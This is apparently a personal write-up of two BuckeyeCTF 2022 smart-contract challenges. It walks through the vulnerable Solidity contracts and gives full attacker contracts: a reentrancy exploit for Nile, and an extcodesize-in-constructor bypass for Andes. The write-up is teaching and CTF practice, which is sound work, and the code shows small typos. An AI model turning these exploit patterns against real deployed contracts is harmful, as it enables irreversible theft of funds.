BuckeyeCTF 2022 Writeup - Nile & Andes
Challenges that demonstrate that security is a social process just as much as it is technical.
Despite having worked in smart contract security, I have never actually performed an attack before—until now. Let’s take a look at some not-so-smart contracts, shall we?
Background
For our purposes, the Ethereum blockchain is just a distributed system where transactions are recorded and verified cryptographically. Transactions can include Ether (currency) and arbitrary data. By convention, the data conforms to the ABI, which is just a schema. Here’s some things that you can do with transactions that are relevant to this problem.
- create new contracts (from a user account)
- call public methods of other contracts (manually or programmatically)
Ethereum has a stack-based virtual machine (EVM) that executes the code in a smart contract. Usually, the smart contract is written in Solidity then compiled. Solidity is an object oriented, statically-typed language.
Now you know enough to make it big in Web3™!
Nile
The problem
I wrote my first smart contract on Ethereum, deployed onto the Görli testnet, you have got to check it out! To celebrate it’s launch, I’m giving away free tokens, you just have to redeem your balance. Connect to the server to see the contract address.
Oh boy do I love free tokens!
We are also given a netcat command that upon connection gives the following message:
Hello! The contract is running at 0x7217bd381C35dd9E1B8Fcbd74eaBac4847d936af on the Goerli Testnet.
Here is your token id: 0xdd9ebbfb04777dd38c3c17902d5d6848
Are you ready to receive your flag? (y/n)
And finally, we are given the following smart contract. Right from the start we see that have two maps from addresses to numbers and one map from addresses to booleans. They track how much balance an account has, how much can be redeemed, and whether the account is valid or not. Note that “account” and “balance” here refer to purely data associated with this contract, not the account and balance on the actual blockchain itself.
There’s also 3 “events” these are just different types of messages that the contract can “emit” (log) on the blockchain.
contract Nile {
mapping(address => uint256) balance;
mapping(address => uint256) redeemable;
mapping(address => bool) accounts;
event GetFlag(bytes32);
event Redeem(address, uint256);
event Created(address, uint256);
There’s a createAccount
function that updates the maps corresponding
to the originator of the transaction (msg.sender
), then emits an
event showing that an account with a given address has been created.
function createAccount() public {
balance[msg.sender] = 0;
redeemable[msg.sender] = 100;
accounts[msg.sender] = true;
emit Created(msg.sender, 100);
}
Interesting. We can also delete a valid account (our own), clearing the balance and redeemable values to 0.
function deleteAccount() public {
require(accounts[msg.sender]);
balance[msg.sender] = 0;
redeemable[msg.sender] = 0;
accounts[msg.sender] = false;
}
Conveniently, we also have a getFlag
function, but this only runs to
completion if we have enough money.
function getFlag(bytes32 token) public {
require(accounts[msg.sender]);
require(balance[msg.sender] > 1000);
emit GetFlag(token);
}
Ah, right. The contract owner is also giving away free tokens! The
redeem
function checks that the caller has a valid account and is
not redeeming more tokens than is redeemable. Then it calls the
fallback
function.
function redeem(uint amount) public {
require(accounts[msg.sender]);
require(redeemable[msg.sender] > amount);
(bool status, ) = msg.sender.call("");
if (!status) {
revert();
}
redeemable[msg.sender] -= amount;
balance[msg.sender] += amount;
emit Redeem(msg.sender, amount);
}
}
And this is where the bug is. Since the redeemable
and balance
maps get updated after the fallback function is called, we can make
the fallback function do another call to redeem
, and again, and
again…
The attack
So, what we need to do, in standard terminology, is something called a reentrancy attack. While theoretically simple, it was my first time doing it and I had some unfortunate attempts initially (my frustration will forever be captured on the blockchain).
To set it up we have to write another contract that will serve as the attack, this is what I wrote:
pragma solidity ^0.7.6;
import "./Nile.sol";
contract Attack {
Nile nile;
uint256 internal n = 0;
event Fallback(address caller, string message);
constructor(address _nile) {
nile = Nile(_nile);
}
function attack() public {f
nile.createAccount();
nile.redeem(99);
}
function getFlag(bytes32 token) public {
nile.getFlag(token);
}
fallback() external payable {
if (n < 11) {
emit Fallback(msg.sender, "Fallback was called");
n += 1;
nile.deleteAccount();
nile.createAccount();
nile.redeem(99);
} else {
emit Fallback(msg.sender, "Fallback has ended");
}
}
}
A few things to note. There are some variables, nile
and n
.
nile
points to the deployment of the vulnerable contract, and n
records how many times the reentrancy was performed. To perform the
attack we call attack
, which creates the account and redeems 99
tokens. Now, since redeem
calls the fallback function of the
caller, we get to run the code in the fallback()
method.
In the fallback()
method we update the counter, delete the account,
create a new one and redeem another 99 tokens. This works because the
state in the target contract actually hasn’t been updated yet, so we
can just continue creating and redeeming tokens.
These series of transactions is proof that I was able to get the flag. That’s the magic of blockchain, you can prove a heist happened!
Andes
The problem
Sometimes the house wins. Sometimes you both win. Note: the token must be right-padded to 64 bytes if using Remix and passing as a function parameter.
Bah, this smart contract is kind of long. Let’s take it piece by piece.
There’s a map of designators
and balances
, and some special
address called a selector
, along with a private variable nextVal
and an 8 by 8 array of bids
.
contract Andes {
// designators can designate an address to be the next random
// number selector
mapping (address => bool) designators;
mapping (address => uint) balances;
address selector;
uint8 private nextVal;
address[8][8] bids;
event Registered(address, uint);
event RoundFinished(address);
event GetFlag(bytes32);
There’s some pretty normal-looking functions that show how designators
can be changed. It seems like only designators can set the next
selector and that the selector can set the value of nextVal
.
modifier onlyDesignators() {
require(designators[msg.sender] == true, "Not owner");
_;
}
function setNextSelector(address _selector) public onlyDesignators {
require(_selector != msg.sender);
selector = _selector;
}
function setNextNumber(uint8 value) public {
require(selector == msg.sender);
nextVal = value;
}
This time, we have a constructor, which sets the sender of the transaction to be a designator and resets the bids.
constructor(){
designators[msg.sender] = true;
_resetBids();
}
function _resetBids() private {
for (uint i = 0; i < 8; i++) {
for (uint j = 0; j < 8; j++) {
bids[i][j] = address(0);
}
}
}
function getBalance() public view returns(uint) {
return balances[msg.sender];
}
The register
function sets the balance of the sender to be 50 only
if it is currently less than 10, and a specific bid can be purchased
if the balance of the sender is more than 10.
function register() public {
require(balances[msg.sender] < 10);
balances[msg.sender] = 50;
emit Registered(msg.sender, 50);
}
function purchaseBid(uint8 bid) public {
require(balances[msg.sender] > 10);
require(msg.sender != selector);
uint row = bid % 8;
uint col = bid / 8;
if (bids[row][col] == address(0)) {
balances[msg.sender] -= 10;
bids[row][col] = msg.sender;
}
}
So once we have these bids, what can we do with them? Looks like
designators can start a new round, and the winner is determined by
nextVal
. The lucky winner will get 1000 points, which gives them
the ability to get the flag.
function playRound() public onlyDesignators {
address winner = bids[nextVal % 8][nextVal / 8];
balances[winner] += 1000;
_resetBids();
emit RoundFinished(winner);
}
function getFlag(bytes32 token) public {
require(balances[msg.sender] >= 1000);
emit GetFlag(token);
}
Finally, there’s these two functions which let us designate a new
owner, but only if the sender satisfies the predicate
_canBeDesignator
. The purpose of that predicate is to determine if
an address is actually an account or a contract.
function designateOwner() public {
require(_canBeDesignator(msg.sender));
require(balances[msg.sender] > 0);
designators[msg.sender] = true;
}
function _canBeDesignator(address _addr) private view returns(bool) {
uint size = 0;
assembly {
size := extcodesize(_addr)
}
return size == 0 && tx.origin != msg.sender;
}
}
It is in _canBeDesignator
that the vulnerability lies. In the EVM,
extcodesize
is an opcode that returns the size of the code on an
address. However, using extcodesize
in this way is not
good.
When a contract’s constructor is called, extcodesize
actually
returns 0.
The attack
This is what we have so far:
- only designators can set the next selector, and it cannot be itself
- only selectors can set the next number
- only designators can play a round
So to launch the attack, we’re going to need something a little bit
more sophisticated; two contracts, Bidder
and Designator
.
Designator
’s constructor will launch the whole attack and call
Attack
to set Designator
as a valid designator. Bidder
will
also purchase the bid at index 0.
Now that Designator
is a designator, it can set the next number to 0
and play a round. Then, naturally, Bidder
will win the round, then
we can get the flag!
The contracts are really quite simple, and I just performed some steps interactively. Once again, here’s proof that we got the flag.
pragma solidity ^0.7.6;
import "./andes.sol";
// Makes bid
contract Bidder {
Andes andes;
bytes32 token;
event MyBalanceIs(address caller, string message, uint b);
constructor(address _andes) {
andes = Andes(_andes);
andes.register();
andes.purchaseBid(0);
andes.designateOwner();
}
function designate(address other) public {
andes.setNextSelector(other);
}
function setToken(bytes32 _token) public {
token = _token;
}
function getFlag() public {
andes.getFlag(token);
}
function getBalance() public {
uint b = andes.getBalance();
emit MyBalanceIs(msg.sender, "Balance got", b);
}
}
// Sets next number
contract Designator {
constructor(address _andes, address _attack, bytes32 token) {
// andes is the contract they deploy
Andes andes = Andes(_andes);
// attack is the contract we deploy, and we buy bid 0 and they're also owner
Bidder attack = Attack(_attack);
attack.setToken(token);
// register ourselves
andes.register();
// make ourselves owner
andes.designateOwner();
// tell the attack contract to make us designator, and make us selector
attack.designate(address(this));
andes.setNextNumber(0);
// start the round
andes.playRound();
}
}
Closing thoughts
These two challenges really illustrate the notion that smart contracts are not inherently more or less secure than other technology. Security is not just a technical problem but also a social process. Without the right coding practices and review processes, bugs can slip through and lead to disaster. The stakes are higher in blockchain because there is no reverting stolen funds, as dramatically demonstrated by recent market turmoil. Thanks for reading!
Views expressed here are of my own and not of any employer, former, present or future.